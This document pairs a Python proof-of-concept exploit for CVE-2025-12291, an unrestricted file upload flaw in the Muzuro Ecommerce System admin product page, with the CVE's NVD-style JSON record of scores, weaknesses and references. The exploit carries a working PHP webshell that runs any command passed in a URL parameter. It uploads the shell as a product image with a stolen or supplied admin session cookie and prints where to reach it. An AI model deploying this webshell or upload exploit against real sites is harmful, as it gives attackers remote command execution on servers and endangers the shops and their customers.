CVE-2025-12291

# CVE-2025-12291 PoC - Muzuro Ecommerce System Unrestricted File Upload # Affected Component: /admin/index.php?add_product import requests import sys target_url = "http://target.com/admin/index.php?add_product" session_cookie = "PHPSESSID=your_admin_session_here" # Create malicious PHP webshell webshell_content = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?>''' def upload_webshell(): headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0' } files = { 'product_image': ('shell.php', webshell_content, 'application/x-php') } data = { 'product_name': 'Malicious Product', 'product_price': '100', 'submit': 'Add Product' } try: response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Webshell uploaded successfully!") print("[+] Access shell at: http://target.com/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": upload_webshell()

{"cve": {"id": "CVE-2025-12291", "sourceIdentifier": "[email protected]", "published": "2025-10-27T16:15:38.080", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in ashymuzuro Full-Ecommece-Website and Muzuro Ecommerce System up to 1.1.0. This affects an unknown part of the file /admin/index.php?add_product of the component Add Product Page. The manipulation results in unrestricted upload. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/Lianhaorui/Report/blob/main/FileUpload-1.docx", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.329959", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.329959", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.675846", "source": "[email protected]"}]}}